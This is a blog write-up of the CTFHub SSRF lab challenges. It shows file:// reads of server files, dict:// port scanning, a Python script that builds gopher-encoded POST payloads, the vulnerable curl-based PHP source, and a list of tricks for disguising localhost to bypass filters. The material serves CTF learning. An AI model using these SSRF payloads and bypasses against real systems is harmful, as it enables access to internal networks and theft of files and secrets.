CTFHub之SSRF

最新推荐文章于 2024-05-21 22:07:05 发布
最新推荐文章于 2024-05-21 22:07:05 发布
阅读量1.9k 收藏 6
点赞数 2
分类专栏： 靶场
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54648419/article/details/116092698
版权

SSRF原理

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

这两段话是我在网上复制下来的，而网上对于SSRF的解释也都是大同小异（其实也就是这些），我觉得用最容易理解的话来解释就是：我们无法访问内网，只能访问服务端，而我们通过服务端访问到内网，这就是SSRF。

主要的几个协议

  • file协议： 在有回显的情况下，利用 file 协议可以读取任意文件的内容

  • http/s协议：探测内网主机存活

  • dict协议：泄露安装软件版本信息，查看端口，操作内网redis服务等

  • gopher协议：gopher支持发出GET、POST请求。可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

内网访问

题目让尝试访问位于127.0.0.1的flag.php，那直接访问就是了

127.0.0.1/flag.php

在这里插入图片描述

伪协议读取文件

读取文件，这提示的已经很明显了，直接用file:///协议，这里得知道网站目录在/var/www/html/才行，那就构造file:///var/www/html/flag.php，发现
在这里插入图片描述

查看页面源代码找到flag
在这里插入图片描述

端口扫描

提示端口范围是8000-9000，那我们直接抓包用dict://协议来爆破就是了（抓包爆破的操作就不做演示了）。

dict://127.0.0.1:8000

在这里插入图片描述

扫描到8462（扫到的端口不一样，自己尝试尝试），那我们直接访问127.0.0.1:8462
在这里插入图片描述

POST请求

题目提示：这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转，加油吧骚年。这里跟踪302跳转也就是利用302协议（重定向）的跳转ssrf来访问与服务器相连的内网。

读文件

打开题什么也没有，用dirsearch扫一扫，可以发现index.php，flag.php，302.php用file:///协议尝试读取index.php文件

?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

再尝试读取flag.php文件

在这里插入图片描述
让我们从127.0.0.1进行访问，那我们就从127.0.0.1进行访问（这里用不用http协议都能出来）

?url=127.0.0.1/flag.php

访问后查看源代码发现

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=9780d5b03ac3c1482f1f9bb6c55bff55-->
</form>

再找302.php（其实没有这个文件，咋找也找不到）

思路

我们知道index.php能够接受url传参（从127.0.0.1进行访问），那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包的内容包含flag.php中的key。

做题

既然要构造gopher数据，最起码得知道gopher协议该怎么用：URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流（有个_是因为gopher协议会吃掉第一个字符 ，并且通常用 _但 并不是只能用 _）

构造的POST请求

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36	#特别注意此处的长度，长度不对也是不行的。
Content-Type: application/x-www-form-urlencoded

key=9780d5b03ac3c1482f1f9bb6c55bff55  #key就是我们从127.0.0.1访问flag.php获取的值，这里也就是flag的MD5值。

这里要三次编码请求包（我知道编码是为了什么，但不知道为啥要编码三次），并且编码的时候要将把%0A全部替换成%0D%0A，可手动编码在线URL编码，也可以搞个脚本（我不会写，在网上找了一个大佬写的，但是这个脚本只编码了两次，可以复制结果去再编码一次）

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=dd8f097e76106c69e598fb475a4662c0
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在这里插入图片描述在这里插入图片描述

对网页进行抓包，修改数据

在这里插入图片描述

上传文件

小前言

本题与前面的POST请求相比较的话，emmm，可以说是一模一样吧，唯一不同也就只是POST请求上传了一个key，而这里是上传了一个文件，但其中好多地方原理还是不大明白（题做出来也是靠来回试了几次），这里先把我的做题步骤记录一下吧，以后懂了再回来做解释。

步骤

和上一关一样啥也没有，我尝试用dirsearch扫了一下，啥也没扫出来（只扫了一遍，可能没看到，大家可以尝试尝试），然后我就直接尝试用file://去找找有没有flag.php，index.php，302.php，这里运气也是挺好，直接就找到了。

?url=file:///var/www/html/index.php

查看index.php的源代码

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

再看看flag.php的

?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

看到这里就知道其实和上一关差不多，只要上传一个大于0的文件就行。那我们再从127.0.0.1访问flag.php
在这里插入图片描述
果然就是一个上传文件的页面，但是只有浏览没有上传可还行，不过这里直接F12然后给它加上一个按钮就好了。
在这里插入图片描述

然后上传一个文件进行抓包
在这里插入图片描述
在这里插入图片描述

接下来用gopher协议上传文件就行了，首先编码三次，我还是用上一关那个脚本来编码两次然后自己编码一次。（这里需要将HOST后的内容改为127.0.0.1:80）
在这里插入图片描述

脚本两次编码
在这里插入图片描述

手动编码一次
在这里插入图片描述

最后构造payload
在这里插入图片描述

这里更改的地方有

  1. POST变成GET
  2. GET后/?url=127.0.0.1/index.php?url=
  3. 下面的HOST改成题目环境地址

我对gopher协议理解还是比较浅层，所以有的地方我解释不出来，这里先记录步骤。

URL Bypass

题目描述：请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧
打开题目后显示：url must startwith "http://notfound.ctfhub.com"

这里也算是一个小知识吧，http://www.baidu.com@127.0.0.1/与http://127.0.0.1请求的都是127.0.0.1的内容，既然他要求http://notfound.ctfhub.com开始，那么?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
（这里直接找flag.php也就是试一试，没想到）

在这里插入图片描述

数字IP Bypass

直接贴上师傅们的绕过姿势

http://localhost/       # localhost就是代指127.0.0.1
http://0/               # 0在window下代表0.0.0.0，而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用，window测试了下不行
http://[::]:80/           # 在liunx下可用，window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响，最后还是会指向127.0.0.1

用第一种就直接哦可了?url=http://localhost/flag.php
在这里插入图片描述
下面的就算是提供一种思路吧，因为都会这样

在这里插入图片描述

302跳转 Bypass

emmmm，看网上教程好像最后两道题可以直接搞出flag，试了一下发现真的可以?url=127.0.0.1/flag.php，就先不做解释，等以后彻底悟了再写吧
在这里插入图片描述

DNS重绑定 Bypass

题目附件
?url=127.0.0.1/flag.php
在这里插入图片描述

Matat4
关注
  • 2
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTFHub-SSRF-Writeup
liuhanzhe的专栏
12-15 2805
SSRF SSRF常见利用方式总结 内网访问 直接构造访问请求,获取flag /?url=127.0.0.1/flag.php 伪协议读取文件 根据题目提示使用file://协议，尝试一般web目录/var/www/html/ 端口扫描 提示端口范围8000到9000 /?url=127.0.0.1:8000 使用burpsuite对端口进行爆破，即可得到端口，访问获取flag POST请求 访问/?url=127.0.0.1/flag.ph,返回页面 包含一个form和隐藏的key，推测需要在fo
CTFHUB--SSRF详解
qq_49422880的博客
05-23 6266
SSRF详解SSRF漏洞介绍一、（内网访问、伪协议利用）1.1内网访问1.2伪协议读取文件1.3端口扫描二、（POST 上传文件 FastCGI协议 Redis协议）2.1 POST请求2.2 上传文件2.3 FastCGI协议2.4 Redis协议三、（Bypass系列）3.1 URL Bypass3.2 数字IP Bypass3.3 302跳转 Bypass3.4 DNS重绑定 Bypass SSRF漏洞介绍    SSRT(Server-Side Request Forgery，服务器端请求伪造)，就
CTFHUB SSRF 【全】
Jay17的博客
04-17 1317
CTFHUB SSRF 题解 【全】
CTFHUB技能树——SSRF（一）
最新发布
2401_82985722的博客
05-21 1258
大多是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。（7）从URL关键字中寻找（share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain）（1）可以对外网、内网、本地进行端口扫描，某些情况下端口的Banner会回显出来（比如3306的）；（5）使用file：///协议读取本地文件(或其他协议）
CTFHub-SSRF部分（已完结）
热门推荐
feng的博客
09-14 1万+
内网访问 根据题目意思，让我们如访问内网的flag.php，因此抓包进行访问，即可得到flag: 伪协议读取文件 根据题目的意思我们需要使用URL的伪协议去读取文件，那么我们首先要了解URL的伪协议。 URL伪协议有如下这些： file:/// dict:// sftp:// ldap:// tftp:// gopher:// 具体的用法请参考SSRF中URL的伪协议 这里我们使用file伪协议从文件系统中读取文件，我们直接抓包读取: 这里其实有点考常识了，因为网站的目录一般都在/var/ww
CTFHub—SSRF
qq_45927819的博客
03-28 6849
文章目录伪协议读取文件端口扫描POST请求上传文件 伪协议读取文件 根据题目的意思我们需要使用URL的伪协议去读取文件，那么我们首先要了解URL的伪协议。 URL伪协议有如下这些： file:/// dict:// sftp:// ldap:// tftp:// gopher:// 具体用法请参考： https://www.cnblogs.com/-mo-/p/11673190.html 网站的根目录一般都是在/var/www/html下 使用file:///协议 ?url=file:///var/ww
CTFHub-SSRF（全部）
1stPeak's Blog
08-01 2686
文章目录内网访问伪协议读取文件端口扫描POST请求 内网访问 解题步骤 伪协议读取文件 解题步骤 端口扫描 提示： 根据提示对目标端口进行爆破 注：使用字典也可以，用for循环写一个字典出来，还有就是爆破时线程不能太高，太高容易失败，无法爆出来 POST请求 注：中途靶机重启过一次，网址有些改变，不要在意，看payload即可 解题步骤 根据网上的一些内容，他共有3个php文件，分别是flag.php、302.php、index.php http://challenge-d01e92
你未见过的SSRF利用方式
06-20
SSRF (Server-Side Request Forgery:服务器端请求伪造) 是⼀种由攻击者构造形成，由服务端发起请求的⼀个安全漏洞 原因是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对地址和协议等做过滤和限制 本⽂讲解...
通过SSRF操作Redis主从复制写Webshell_R3start1
08-03
1.使用 DICT 协议添加一条测试记录 2.设置保存路径 3.设置保存文件名 4.保存 1.连接远程主服务器 2.设置保存路径 3.设置保存文件名 4.保存
WebLogic SSRF 及漏洞修复
11-25
WebLogic SSRF 及漏洞修复方法 CVE-2014-4210 10.0.2,10.3.6
SSRF bible. Cheatsheet
08-06
SSRF bible. Cheatsheet SSRF attack and sockets presentation.
CTFHub技能树笔记之SSRF：内网访问、伪协议读取文件、端口扫描
weixin_48799157的博客
03-31 7598
小白一个，记录解题过程，如有错误请指正！ 补充知识点： 1.什么是SSRF SSRF(Server-Side Request Forgery：服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务，当作跳板进行攻击） 2.SSRF产生的原因 SSRF 形成的原因往往是由于服务端提供了从其他服务器应用...
【Web】ctfhub基础知识之SSRF
A_Gaming的博客
01-04 1438
但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差，利用这个时间差，我们可以进行DNS 重绑定攻击，利用DNS Rebinding技术，在第一次校验IP的时候返回一个合法的IP，在真实发起请求的时候，返回我们真正想要访问的内网IP即可。要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0，这是为了防止有DNS服务器对解析结果进行缓存。
CTFHUB--技能树--SSRF全解（上篇）
errorr0
05-11 2178
SSRF技能树
CTFHUB - SSRF
m0_64180167的博客
10-05 534
gopher 是个万能协议 用来查看信息我们利用的时候 需要按GET POST 格式写请求包然后通过 一次url编码修改%0a 为 %0d%0a在末尾也要写上 %0d%0a然后再进行一次url编码然后按照 gopher格式gopher://ip:port/_数据流写入即可我们发现 ssrf 我们可以传递 需要的数据包 需要是值 我们就可以传递值 需要是文件我们也可以传递文件。
SSRF详解 基于CTFHub（上篇）
Bossfrank的博客
04-28 1855
本文简要介绍了SSRF服务端请求伪造的原理，并通过CTFHub的实例，介绍SSRF的基本原理、利用方式、绕过思路等。
CTFHUB-SSRF漏洞详解
qq_49422880的博客
05-20 1072
CTFHUB-SSRF漏洞分析（一）SSRF漏洞分析与讲解一、内网访问二、伪协议读取文件2.1常见伪协议三、端口扫描 SSRF漏洞分析与讲解   SSRF(服务端请求伪造,Server Side Request Forgery)是指未能取得服务器权限的时候，构造服务器的身份以服务器的名义给服务器所在的内网发起请求的漏洞。   一般存在于没有对用户访问的URL进行过滤；服务器提供了对于其他服务器获取文件的功能。 一、内网访问 用burpsuite抓包，将url修改为下面这个内容，返包即可 url=127.0.
通过ctfhub实操学习ssrf
不想当脚本小子的脚本小子
03-21 620
实战中碰到的SSRF漏洞比较少，刚好在freebuf上看到了一位大佬写的ssrf系统性学习文章（https://www.freebuf.com/articles/web/258365.html）就跟着一起学习一下。 SSRF,服务端请求伪造；一般情况下，SSRF攻击的目标是外网无法连接的内部系统，比如说当我们发现一个web服务器存在ssrf时，而它又连接内网，我们就可以利用这个服务器对内网发出一些请求来获取一些敏感信息，而此时的web服务器就被当作成为跳板使用； SSRF形成的原因是由于服务端提.
CTFHub ssrf
07-29
- *3* [CTFHub技能树笔记之SSRF：内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630",...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值